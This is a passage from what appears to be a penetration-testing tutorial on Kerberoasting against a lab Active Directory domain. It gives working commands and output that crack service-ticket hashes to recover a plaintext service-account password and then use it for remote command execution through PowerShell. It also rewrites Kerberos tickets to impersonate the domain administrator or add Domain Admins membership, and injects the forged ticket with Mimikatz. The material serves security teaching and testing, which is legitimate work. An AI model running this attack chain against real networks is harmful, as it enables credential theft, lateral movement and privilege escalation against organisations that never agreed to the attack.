root@kali:~/kerberoast# python tgsrepcrack.py /root/Desktop/passwords.txt PENTESTLAB_001.kirbi
found password for ticket 0: Password123  File: PENTESTLAB_001.kirbi
All tickets cracked!
```

Kerberoast – Crack Service Ticket

Lee Christensen developed **extractServiceTicketParts** python script which can extract the hash of a service ticket and **tgscrack** in Go language which can crack the hash.

```
1 python extractServiceTicketParts.py PENTESTLAB_001.kirbi
```

```
root@kali:~# chmod +x extractServiceTicketParts.py
root@kali:~# python extractServiceTicketParts.py PENTESTLAB_001.kirbi
50b48a1534acf3c770c779c7c9ac4601:7a87622148759c7d45240a5285fb02449c57e133f86a0b1
0fa92df0ecd4fc899111340705bad3fcfd797bf2cf20f0c396ebe7ea38afa7cc5bf36245c54a642
15098141f50087c8adfa05b8a906fe33d0c639f778b0e4306b52a0127999b5278794ab2acc0c8003
ff2d6f74bbc13387a63ffc54c483a34c36bf638d158216f97a4a7416f7f3f2cae779ac0cf7f7a643
986e62fd0dc1d187f67425a38767e1692cb6e3f62a8cf468899cb99fd0fccc0d7a57b9e0f1d4f24
e544b35b70fc413faa8b00036af69f43aa87b43cfce1b41437056c65279484e4ffe1a93fd7dbd002
6f28fe9f53cf9e4b6b5ed44b3d516a833d6cc4311cba7953edb73b4c7ce62b3c0a4ad2983fea05f
fc752645ab93da3bc30db1622a94a85ace7e9b8c62099ac256ff2deea23aff3bf5279ef382cb6c6
4c66df6afc03de8d0c014f8cf3d42436ff340506c5d5cd3a23e81089048d349b6b3fb1f937dc8788
ecb5fbcdff6a4dbd17d829f016815637cf91c59e9ba1e96b3cdc1de56ad92bec14625007f91174a4
2cc5749d6ab46db9a8e1c2fc1796b7242c1fa0ff87e4530bbe23cc51d1e368d2a868aa3a79d4ea55
d7344896bb7b6e3c82d281743ac63215aab86ca28379af7d453560e534c05fb258afa33ce48f006
7e5fd2a57b38d06f0a4f7afe0bacbec5ded60893738e31f2fa5e8cdb7f727f4eb892c143f2f87bf3
6bde4fc1b8d76b0246865c9bce3cf408250fe085c8d510249ead57af9ec4cbb465e7edae36e10db
b52cd4ff1ac830f2451ae2ad4f34886f46d510f2cf687217c24a73f6e8afb926bba03163994433db
9fb859cff383e334afe9b5faef020590568d987fe2d5176d815def7dcdea331abaf9339acf1de1f
e68c9d6c472740a18d70d45c930b24aedbb1a8124f405040fb359505c3f576be0622d4e0f3dc72ce
```

### tgocrack – Extract the Hash from Service Ticket

The binary requires the **hashfile** and **wordlist** local paths.

```
1 tgocrack.exe -hashfile hash.txt -wordlist passwords.txt
```

```
C:\Users\netbiosX\go\bin>tgocrack.exe -hashfile hash.txt -wordlist passwords.txt
Starting tgocrack with the following settings:
    hashFile: hash.txt
    wordlist: passwords.txt

Cracked a password!  Password123:PENTESTLAB_001.kirbi

*** Cracking has finished ***
```

### tgocrack – Cracking the Service Hash

The password will appear in plain-text.

If PowerShell remoting is enabled then the password that has been retrieved from the service ticket can be used for execution of remote commands and for other lateral movement operations.

```
1 Enable-PSRemoting
2 $pass = 'Password123' | ConvertTo-SecureString -AsPlainText -Force
3 $creds = New-Object System.Management.Automation.PSCredential -ArgumentList 'PENTESTLAB_001', $pass
4 Invoke-Command -ScriptBlock {get-process} -ComputerName WIN-PTELU2U07KG.PENTESTLAB.LOCAL -Credential $creds
```

```

PS > Enable-PSRemoting
WinRM is already set up to receive requests on this computer.
WinRM is already set up for remote management on this computer.
PS > $pass = 'Password123' | ConvertTo-SecureString -AsPlainText -Force
PS > $creds = New-Object System.Management.Automation.PSCredential -ArgumentList
    'PENTESTLAB_001', $pass
PS > Invoke-Command -ScriptBlock {get-process} -ComputerName WIN-PTELU2U07KG.PEN
TESTLAB.LOCAL -Credential $creds

```

Kerberoast – Command Execution

The list of running processes will be retrieved:

Handles	NPM(K)	PM(K)	WS(K)	VM(M)	CPU(s)	Id	ProcessName
	PSComputerName						
525	53	83972	35992	777	1.97	3208	ComplianceAuditService
	WIN-PTELU2U07KG.PENTESTLAB....						
54	7	1840	11016	60	0.03	3460	conhost
	WIN-PTELU2U07KG.PENTESTLAB....						
40	4	644	2640	26	0.00	5844	conhost
	WIN-PTELU2U07KG.PENTESTLAB....						
547	20	1696	4092	56	0.39	304	csrss
	WIN-PTELU2U07KG.PENTESTLAB....						
161	15	1448	22204	62	0.59	372	csrss
	WIN-PTELU2U07KG.PENTESTLAB....						
328	31	13916	19944	654	0.97	1324	dfsrs
	WIN-PTELU2U07KG.PENTESTLAB....						
100	8	1464	3768	22	0.00	2964	dfssvc
	WIN-PTELU2U07KG.PENTESTLAB....						

Kerberoast – List of Processes

## Rewrite Service Tickets & RAM Injection

Kerberos tickets are signed with the NTLM hash of the password. If the ticket hash has been cracked then it is possible to rewrite the ticket with Kerberoast python script. This tactic will allow to impersonate any domain user or a fake account when the service is going to be accessed. Additionally privilege escalation is also possible as the user can be added into an elevated group such as Domain Admins.

```

1 python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w
  PENTESTLAB.kirbi -u 500
2
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w
  PENTESTLAB.kirbi -g 512

```

```

root@kali:~/kerberoast# python kerberoast.py -p Password123 -r PENTESTLAB_001.ki
rbi -w PENTESTLAB.kirbi -g 512
root@kali:~/kerberoast# python kerberoast.py -p Password123 -r PENTESTLAB_001.ki
rbi -w PENTESTLAB.kirbi -u 500

```

Kerberoast – Rewrite Service Tickets

The new ticket can be injected back into the memory with the following Mimikatz command in order to perform authentication with the targeted service via Kerberos protocol.

```
1 kerberos::ptt PENTESTLAB.kirbi
```

## Resources

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- <https://github.com/nidem/kerberoast>
- <https://github.com/xan7r/kerberoast>
- <https://github.com/cyberark/RiskySPN>
- <https://github.com/leechristensen/tgscrack>
- <http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/>
- <https://adsecurity.org/?p=2293>
- <https://www.blackhillsinfosec.com/a-toast-to-kerberoast/>
- <https://blog.xpnsec.com/kerberos-attacks-part-1/>
- <https://www.cyberark.com/blog/service-accounts-weakest-link-chain/>